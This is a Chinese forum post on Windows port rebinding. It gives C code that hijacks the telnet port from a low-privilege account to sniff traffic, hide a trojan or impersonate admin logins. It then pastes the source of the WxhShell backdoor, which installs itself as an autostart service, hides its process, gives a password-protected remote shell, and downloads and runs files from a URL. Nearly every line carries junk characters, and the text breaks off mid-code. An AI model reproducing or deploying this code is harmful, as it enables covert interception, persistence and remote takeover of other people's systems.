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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $`Ix:gi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _w*}\~`=^  
I5h[%T  
  saddr.sin_family = AF_INET; [%&ZPJT%i  
% >;#9"O4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XR!us/U`a  
Zf5`XslA.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2c?qV  
zXsc1erli  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oq*N_mP0  
UJs$q\#RO  
  这意味着什么?意味着可以进行如下的攻击: } G<rt  
?aW^+3i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <LRey%{q  
WMMO5_M z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jjM{]  
aTBR|U S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,C {*s$  
f3|@|' ;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fqu}Le  
\n9zw'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l]<L [Y,E-  
MQ)L:R` L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sdCvG R e  
P=1I<Pew  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }h 3K@R   
.vG,fuf8  
  #include 7Ol}EPf#  
  #include 7OW bAu;  
  #include =+w*gDr  
  #include    q$G,KRy/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jgS%1/&  
  int main() KN"S?i]X  
  { T;L>P[hNn  
  WORD wVersionRequested; hm<}p&!J  
  DWORD ret; hXGwP4  
  WSADATA wsaData; /*Qq[C  
  BOOL val; *-s,. F+c  
  SOCKADDR_IN saddr; OiDhJ  
  SOCKADDR_IN scaddr; 8>/Q1(q0  
  int err; @E.k/G!~Nb  
  SOCKET s; 1 y}2+Kk  
  SOCKET sc; ! Q<>3 xZ  
  int caddsize; 8.bKb<y  
  HANDLE mt; m?HZ;  
  DWORD tid;   P,=+W(s9}  
  wVersionRequested = MAKEWORD( 2, 2 ); flgRpXt  
  err = WSAStartup( wVersionRequested, &wsaData ); wM[~2C=vx  
  if ( err != 0 ) { bxK(9.  
  printf("error!WSAStartup failed!\n"); 'B0{U4?   
  return -1; |w}xl'>q  
  } -CH`>  
  saddr.sin_family = AF_INET; n41@iK2l  
   wW?,;B'74  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XBQ\_2>  
I]!^;))  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d2s OYCKe  
  saddr.sin_port = htons(23); E2L(wt}^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q2:K 4  
  { Q !qrNa6  
  printf("error!socket failed!\n"); p$7#}s  
  return -1; 9z?oB&5  
  } Z`3ufXPNlO  
  val = TRUE; 1{_A:<VBl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \Ep0J $ #o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #}^-C&~  
  { #E0t?:t5bk  
  printf("error!setsockopt failed!\n"); b%f[p/no  
  return -1; kX:tc   
  } 1+`l7'F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^w~23g.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qz4^{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *c[2C  
S]sk7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {2`=qt2  
  { }6 5s'JB  
  ret=GetLastError(); 63?)K s  
  printf("error!bind failed!\n"); @5) 8L/[l  
  return -1; xyr+_k-x&q  
  } (wmBjQ]B<  
  listen(s,2); $N2SfyX7  
  while(1) hC_Vts[v/  
  { ,%bhyww<  
  caddsize = sizeof(scaddr); Z['\61  
  //接受连接请求 *=Z26  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  QH]M   
  if(sc!=INVALID_SOCKET) g/=K.  
  { }Vu\(~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6I_Hd>4  
  if(mt==NULL) N?dvuB  
  { ^BZkHAp  
  printf("Thread Creat Failed!\n"); bU 63X={  
  break; 0^'B3$>  
  } m\ /(w_/?  
  } R6 XuA(5  
  CloseHandle(mt); }G$]LWgQx  
  } yz+, gLY  
  closesocket(s); ~#\i!I;RY}  
  WSACleanup(); "x'),  
  return 0; h  x6;YV  
  }   h?\2 _s  
  DWORD WINAPI ClientThread(LPVOID lpParam) S~$'WA  
  { :PbDU$x  
  SOCKET ss = (SOCKET)lpParam; Wi n8LOC  
  SOCKET sc; 0%s|Zbo!>  
  unsigned char buf[4096]; nRhrWS  
  SOCKADDR_IN saddr; {+zJI-XN/  
  long num; *5$&`&,  
  DWORD val; %[<Y9g,:Q  
  DWORD ret; o-7>eE}+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !\[+99F#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N12:{U  
  saddr.sin_family = AF_INET; bt+,0\Vg5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _ nT{g  
  saddr.sin_port = htons(23); uQLlA&I"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y^"4?96  
  { m8+(%>+7  
  printf("error!socket failed!\n"); l^NC]t  
  return -1; VVWM9x  
  } q&'Lbxc>c  
  val = 100; /.5;in  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .V6-(d  
  { E& 36H  
  ret = GetLastError(); A CNfS9M_w  
  return -1; [AEBF2OIv  
  } TY;U2.Ud  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NCA {H^CL  
  { FqA3  {  
  ret = GetLastError(); D y6$J3 r  
  return -1; sPNfbCOz  
  } ( g :p5Rl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E(<LvMiCa  
  { +V v+K(lh$  
  printf("error!socket connect failed!\n"); z*~YLT&  
  closesocket(sc); MrE<vw@he  
  closesocket(ss); Ni[4OR$-O  
  return -1; UkR3}{i  
  } A,~Hlw  
  while(1) )Du -_Z  
  { .&,[,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^c9ThV.v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J."{<&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fUag1d  
  num = recv(ss,buf,4096,0); rlok%Rt4Z  
  if(num>0) Q F-)^`N  
  send(sc,buf,num,0); .BTx&AqU  
  else if(num==0) 7x.%hRk  
  break; pt:;9hA  
  num = recv(sc,buf,4096,0); v@ONo?)  
  if(num>0) {j(4m  
  send(ss,buf,num,0); X7aXxPCq1  
  else if(num==0) 6(56,i<#/  
  break; OsW"CF2  
  } TW`mxj_J2  
  closesocket(ss); 5!fSW2N  
  closesocket(sc); #G _/.h@  
  return 0 ; x;$|#]+  
  } L9IGK<  
[j6~}zu@  
n~z\?Y=*  
========================================================== G=M] 8+h  
!awh*Xj6  
下边附上一个代码,,WXhSHELL YaFcz$GE_  
-oBI+v&  
========================================================== AfWl6a?T8:  
sV0Z  
#include "stdafx.h" l%"`{   
<4F7@q, V  
#include <stdio.h> ;:#U 6?=t  
#include <string.h> ='/Z;3jt]x  
#include <windows.h> {V2bU}5 [  
#include <winsock2.h> !Cj(A"uqY  
#include <winsvc.h> M1=_^f=&.  
#include <urlmon.h> ^/KfH &E  
 ';lfS  
#pragma comment (lib, "Ws2_32.lib") =mrY/ :V  
#pragma comment (lib, "urlmon.lib") LZWS^77  
I{n;4?  
#define MAX_USER   100 // 最大客户端连接数 oW'PO Ar  
#define BUF_SOCK   200 // sock buffer 'tWAuI  
#define KEY_BUFF   255 // 输入 buffer j8 H Oc(  
[%.18FWI  
#define REBOOT     0   // 重启 nlfPg-78B+  
#define SHUTDOWN   1   // 关机 4UCwT1  
nTZ> |R)  
#define DEF_PORT   5000 // 监听端口 DA <ynBQ  
n85r^W  
#define REG_LEN     16   // 注册表键长度 RebTg1vGu  
#define SVC_LEN     80   // NT服务名长度 Z*bC#s?  
me./o(!?  
// 从dll定义API 2,AaP*,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sMi{"`37  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $v&C@l \  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ce5nG0@#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oa0X5}D  
J/S{FxNe]  
// wxhshell配置信息 /_OOPt=G  
struct WSCFG { Zd<[=%d  
  int ws_port;         // 监听端口 R#0{Wg0O)  
  char ws_passstr[REG_LEN]; // 口令 ,+-?Zv 2  
  int ws_autoins;       // 安装标记, 1=yes 0=no k/#M<z  
  char ws_regname[REG_LEN]; // 注册表键名 aW`dFitpM  
  char ws_svcname[REG_LEN]; // 服务名 a>b8- j=J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B T7Id  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E/"SU*Co  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UvD-C?u'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lwsbm D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9-- dRTG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :VFTVmr  
b?k4InXh  
}; #{>uC&jD  
I<`V_  
// default Wxhshell configuration >ITEd  
struct WSCFG wscfg={DEF_PORT, nO_!:6o".  
    "xuhuanlingzhe", IO[^z v4F  
    1, u{+!& 2}k  
    "Wxhshell", 6^ik|k|  
    "Wxhshell", t&f" jPu>  
            "WxhShell Service", 6K// 1U$  
    "Wrsky Windows CmdShell Service", Q [:<S/w  
    "Please Input Your Password: ", Ars,V3ep  
  1, #NJ<[Gew  
  "http://www.wrsky.com/wxhshell.exe", EW;1`x  
  "Wxhshell.exe" ;.0LRWcJ  
    }; `e*61k5  
bFn(w:1Q  
// 消息定义模块 a 2Et,WA%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a>(~C'(<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; poY8 )2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sS'{QIRC'  
char *msg_ws_ext="\n\rExit."; ++k J\N{  
char *msg_ws_end="\n\rQuit."; ]-EN/V  
char *msg_ws_boot="\n\rReboot..."; _Y7:!-n}   
char *msg_ws_poff="\n\rShutdown..."; \4@a  
char *msg_ws_down="\n\rSave to "; 'RQiLUF  
Loc8eToZ  
char *msg_ws_err="\n\rErr!"; C M^r|4 K  
char *msg_ws_ok="\n\rOK!"; t[q3 {-  
h&$Py  
char ExeFile[MAX_PATH]; 7V/Zr  
int nUser = 0; I}ndRDz[  
HANDLE handles[MAX_USER]; .pKN4  
int OsIsNt; 0lf"w@/  
/1N)d?Pcl  
SERVICE_STATUS       serviceStatus; Xr2 Wa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }JGq1  
%Y 2G  
// 函数声明 @|'Z@>!/pV  
int Install(void); wNR=?Z~  
int Uninstall(void); /gX%ABmS  
int DownloadFile(char *sURL, SOCKET wsh); ebD{ pc`&  
int Boot(int flag); %\l0-RA@<  
void HideProc(void); &&*wmnWCS{  
int GetOsVer(void); [[$Mh_MD  
int Wxhshell(SOCKET wsl); dL(4mR8  
void TalkWithClient(void *cs); D0KELA cY  
int CmdShell(SOCKET sock); i2U/RXu  
int StartFromService(void); E]?2!)mgce  
int StartWxhshell(LPSTR lpCmdLine); d~,n_E$q;  
CL )%p"[x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _Ua PwJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XJ _%!  
ZgK@Fl*k  
// 数据结构和表定义 ?9qAe  
SERVICE_TABLE_ENTRY DispatchTable[] = H<{*ub4'L*  
{ MKe *f%  
{wscfg.ws_svcname, NTServiceMain}, I'P.K| "R  
{NULL, NULL} P1e5uJkd  
}; ~"\P~cg0J  
]svw CPu C  
// 自我安装 zM)M_L  
int Install(void) I>!|3ElT  
{ .$OjUlzr-H  
  char svExeFile[MAX_PATH]; 5 5a@)>h  
  HKEY key; + p'\(Z(  
  strcpy(svExeFile,ExeFile);  @}Pw0vC  
s?HsUD$b  
// 如果是win9x系统,修改注册表设为自启动 r@;$V_I  
if(!OsIsNt) { '2j~WUEmg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sgR 9d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zEAx:6`c  
  RegCloseKey(key); 4bWfx _0W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }el,^~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &4[<F"W>47  
  RegCloseKey(key); `c>A >c|  
  return 0; Aw5K3@Ltz  
    } QZz&1n  
  } nWd:>Ur  
} "NlRSc#  
else { $F<%Jl7_Z  
qP@L(_=g  
// 如果是NT以上系统,安装为系统服务 ~y`Pwj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /^NJ)9IB  
if (schSCManager!=0) x={kjym L  
{  hgNY[,  
  SC_HANDLE schService = CreateService Sw/J+FO2  
  ( A<]&JbIt  
  schSCManager, j`Tm\!q  
  wscfg.ws_svcname, kK08W3@&t  
  wscfg.ws_svcdisp, 3KR2TcT#{  
  SERVICE_ALL_ACCESS, zv&ePq\#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n&3iz05}  
  SERVICE_AUTO_START, E`U &Z  
  SERVICE_ERROR_NORMAL, tvv[$ b&  
  svExeFile, ]Pz|Oi+]  
  NULL, Z+OAs0}mV  
  NULL, T<! \B]  
  NULL, 3{6ps : w  
  NULL, Z^6A_:]j  
  NULL f;&` 9s| 1  
  ); Au~+Zz|mQ  
  if (schService!=0) 9T?~$XlX  
  { wA{*W>i  
  CloseServiceHandle(schService); LNWqgIq  
  CloseServiceHandle(schSCManager);  ?L`MFR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I=Gr^\x=  
  strcat(svExeFile,wscfg.ws_svcname); "tEj`eR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p|xs|O6{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wV7@D[8  
  RegCloseKey(key); ': 5Trx  
  return 0; R994R@gz  
    } MYKs??]Y1  
  } "h^A]t;qe  
  CloseServiceHandle(schSCManager); p`shY yE  
} n U+pnkMj  
} &h98.A*&  
L.R"~3  
return 1; IS3e|o*]MP  
} U]+b` m  
GG@iKL V  
// 自我卸载 d<e+__ 2  
int Uninstall(void) u Zo]8mV  
{ 7[(Lrx.pM  
  HKEY key; * [iity  
`two|gX0K  
if(!OsIsNt) { <>ZBW9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o6`Y7,]  
  RegDeleteValue(key,wscfg.ws_regname); 3RBpbTNWp  
  RegCloseKey(key); r3*+8 D~a_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z_5rAlnwT.  
  RegDeleteValue(key,wscfg.ws_regname); WV5r$   
  RegCloseKey(key); |_xZ/DT  
  return 0; ahK?]:&QO  
  } ,+swH;=7#r  
} -6.i\ B  
} 3t J=d'U  
else { V'Sd[*  
T)$ 6H}[c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dm/-}  
if (schSCManager!=0) LC~CPV'F  
{ ^T uP=q5?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G~b`O20N  
  if (schService!=0) bW,BhUb,|  
  { [a#?}((  
  if(DeleteService(schService)!=0) { cKvAR5|  
  CloseServiceHandle(schService); \;A50U|r  
  CloseServiceHandle(schSCManager); # CP9^R S  
  return 0; ~*,Ddwr0a  
  } uD0(aqAZ  
  CloseServiceHandle(schService); )&b}^1  
  } x9FLr}e  
  CloseServiceHandle(schSCManager); /h.:br?M#P  
} ~Hp#6+  
} A)O_es 2  
M6o xtt4  
return 1; 4eDmLC"Y *  
} C}M0XW  
hlSB7D"d  
// 从指定url下载文件 (r#5O9|S  
int DownloadFile(char *sURL, SOCKET wsh) llTQ\7zP  
{ /6i Tq^.%  
  HRESULT hr; Mm:a+T  
char seps[]= "/"; [="g|/M)  
char *token; W07-JHV%  
char *file; AaCnTRG  
char myURL[MAX_PATH]; : 9djMsd  
char myFILE[MAX_PATH]; CWobvR)e  
Fyi?,,  
strcpy(myURL,sURL); y{&{=1#  
  token=strtok(myURL,seps); |,M#8NOp:  
  while(token!=NULL) T6/$pJl  
  { !>a&`j2:W  
    file=token;  8o%<.]   
  token=strtok(NULL,seps); df21t^0/  
  } ~:ub  
U#UVenp@  
GetCurrentDirectory(MAX_PATH,myFILE); ]*kP>  
strcat(myFILE, "\\"); pUCEYR  
strcat(myFILE, file); ^^t]vojX  
  send(wsh,myFILE,strlen(myFILE),0); 82^ z -t{  
send(wsh,"...",3,0); MIk #60Ab  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |)|vG_  
  if(hr==S_OK) ^6N3 nkyZ  
return 0; lu G023'  
else ur~Tql  
return 1; uJ) \P  
^>vO5Ho.  
} h^[pp c{Z  
<.?^LT  
// 系统电源模块 z Et6  
int Boot(int flag) :3E8`q~c1  
{ 0s+rd&  
  HANDLE hToken; 8`rAE_n`%  
  TOKEN_PRIVILEGES tkp; ino7!T`  
^Xt]wl*]+  
  if(OsIsNt) { H;b'"./  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P}.yEta  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]/<Qn-BbU  
    tkp.PrivilegeCount = 1; y$r?t0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G}9bC r,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zo}\gg3  
if(flag==REBOOT) { .LGkr@P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fd,}YAiX  
  return 0; |aOnV,}  
} nCSd:1DY  
else { D/!eov4"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Js^r]=\F'  
  return 0; @Z=y'yc'y.  
} -6 7f33  
  } {_k!!p6  
  else { 1VPN#Q!  
if(flag==REBOOT) { Tg{dIh.Q~O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n )wpxR  
  return 0; #IL~0t  
} )n3bi QL_  
else { 4%c7#AX[T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B9;,A;E};  
  return 0; Y+PvL|`O  
} ?Ss RN jeL  
} S*DBY~pZy  
[<3Q$*Ew  
return 1; EiIFVP   
} %8`1Li6g  
MIua\:xT  
// win9x进程隐藏模块  S9ak '  
void HideProc(void) 9{]r+z:  
{ "#eNFCo7k  
W0uM?J\O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f'zFg["aZS  
  if ( hKernel != NULL ) \PtC  
  { DT7-v4Zd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T$8$9D_u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :BZx ) HxQ  
    FreeLibrary(hKernel); oRJP5Y5na  
  } (1r>50Ge  
,[K)E  
return; n9-q5X^e>  
} 2YP"nj#  
@T~#Gwv  
// 获取操作系统版本 WY. \<$7  
int GetOsVer(void) l.NkS   
{ |2t7mat  
  OSVERSIONINFO winfo; qeO6}A"^|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Cbc@=k  
  GetVersionEx(&winfo); uK&wS#uY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h+'eFAZ  
  return 1; ZZ.0'   
  else krnk%ug  
  return 0; J/P@m_Yx  
} +EB,7<5<  
1-Wnc'(OK  
// 客户端句柄模块 LXLIos55S  
int Wxhshell(SOCKET wsl) EA@$^e[  
{ GzZ|T7fm  
  SOCKET wsh; (Ss77~W7  
  struct sockaddr_in client; f!R^;'a  
  DWORD myID; f6_|dvY3  
cwD*>[j  
  while(nUser<MAX_USER) t%YX-@  
{ F+m4  
  int nSize=sizeof(client); Xy8ie:D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @v-)|8GdY  
  if(wsh==INVALID_SOCKET) return 1; X=c ,`&^  
m=y,_Pz>U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z1KC$~{O  
if(handles[nUser]==0) u{lDof>  
  closesocket(wsh); z?) RF[  
else *$Wx*Jo  
  nUser++; Kd[`mkmS  
  } ,DUQto  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2Z9gOd<M~  
G|Yp <W%o  
  return 0; Px?At5  
} MKh L^c-  
0-MasI&b  
// 关闭 socket Q{|'g5(O  
void CloseIt(SOCKET wsh) g}og@UY7#  
{  IOES3  
closesocket(wsh); g #<?OFl  
nUser--; = ]HJa  
ExitThread(0); ZzaW@6LJF  
} '  ^L  
hw.demD  
// 客户端请求句柄 %m\G'hY2  
void TalkWithClient(void *cs) LVcy.kU@]  
{ ppo$&W &z  
H=SMDj)s+  
  SOCKET wsh=(SOCKET)cs; :x5o3xE  
  char pwd[SVC_LEN]; Pv$"DEXA2  
  char cmd[KEY_BUFF]; 6g,3s?aT  
char chr[1]; 8{=( #]  
int i,j; mbG^fy'  
WF.$gBH"  
  while (nUser < MAX_USER) { 8_,wOkk_B  
exMPw ;8  
if(wscfg.ws_passstr) { =d4',[O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }6{)Jv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q>lkLHS  
  //ZeroMemory(pwd,KEY_BUFF); C]cT*B^  
      i=0; a ZCZ/  
  while(i<SVC_LEN) { 5N</Z6f'o  
2i'-lM=  
  // 设置超时 btz3f9  
  fd_set FdRead; +O:pZz  
  struct timeval TimeOut; +#"Ic:  
  FD_ZERO(&FdRead); (V%vFD1)  
  FD_SET(wsh,&FdRead); X!HSS/'  
  TimeOut.tv_sec=8; ^>}[[:(6/  
  TimeOut.tv_usec=0; -+2xdLa63  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]qG5 Ne _  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8[P6c;\  
l8Iy 03H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7(iRz  
  pwd=chr[0]; [B;Ek \5W  
  if(chr[0]==0xd || chr[0]==0xa) { }@0.  
  pwd=0; sEi.f(WA  
  break; z{+; '9C  
  } gK_[3FiKt  
  i++; *1]k&#s  
    } %iFIY=W  
a_MnQ@  
  // 如果是非法用户,关闭 socket !x / Z"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C^v -&*v  
} !/9Sb1_~  
-^yc yZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1ORi]`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q"_T040B  
,'DrFlI  
while(1) { kF~e3A7C  
:rc[j@|pH  
  ZeroMemory(cmd,KEY_BUFF); X51$5%  
d(tf: @  
      // 自动支持客户端 telnet标准   \5c -L_  
  j=0; $=a$z"  
  while(j<KEY_BUFF) { +W[#;)ea(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2G> ]W?>  
  cmd[j]=chr[0]; xJ5!` #=  
  if(chr[0]==0xa || chr[0]==0xd) { k(Xv&Zn  
  cmd[j]=0; 4^9_E &Fa  
  break; hds4 _  
  } eTHh  
  j++; 6u3(G j@  
    } "< R 2oo)^  
|VF"Cjw?  
  // 下载文件 X,CF Y  
  if(strstr(cmd,"http://")) { LMj'?SuH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @n'ss!h  
  if(DownloadFile(cmd,wsh)) YQsc(6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y|jesa {x  
  else `;GGuJb \  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dR{ V,H7N  
  } 6MQ:C'8T&=  
  else { QP0X8%+p  
HaUo+,=  
    switch(cmd[0]) { % E_{L  
  Qn&^.e9I  
  // 帮助 z3LPR:&Z  
  case '?': { C^O^Jj5X%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K<(sqH  
    break; 1<e%)? G  
  } a$& 6a   
  // 安装 o:*iT =l  
  case 'i': { ixpG[8s  
    if(Install()) mSeN M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DMW:%h{  
    else (fb\A6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lwk-  
    break; W4Q]<<6&  
    } '" yl>"  
  // 卸载 =_3qUcOP  
  case 'r': { vH8%a8V  
    if(Uninstall()) ]iX$p~riH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rj= Om  
    else DlO;EH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (LPD  
    break; S`.-D+.68  
    } F\72^,0  
  // 显示 wxhshell 所在路径  I ^92b  
  case 'p': { IbwRb  
    char svExeFile[MAX_PATH]; pSUp"wch  
    strcpy(svExeFile,"\n\r"); ZK*aVYnu  
      strcat(svExeFile,ExeFile); y$NG..S  
        send(wsh,svExeFile,strlen(svExeFile),0); _.LWc^Sg  
    break; x*)O<K  
    } ! .}{ f;Ls  
  // 重启 pdqh'+5  
  case 'b': { mr.DP~O:9p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _"`h~jB  
    if(Boot(REBOOT)) f d5~'2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X|G+N(`|(  
    else { Ry3 f'gx  
    closesocket(wsh); yK3z3"1M?  
    ExitThread(0); EV$n>.  
    } "KwKO8f  
    break; NE"fyX`  
    } A>yIH)b  
  // 关机 T667&@  
  case 'd': { L\DaZ(Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PD4E& k  
    if(Boot(SHUTDOWN)) JnJz{(c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b"9,DQB=i  
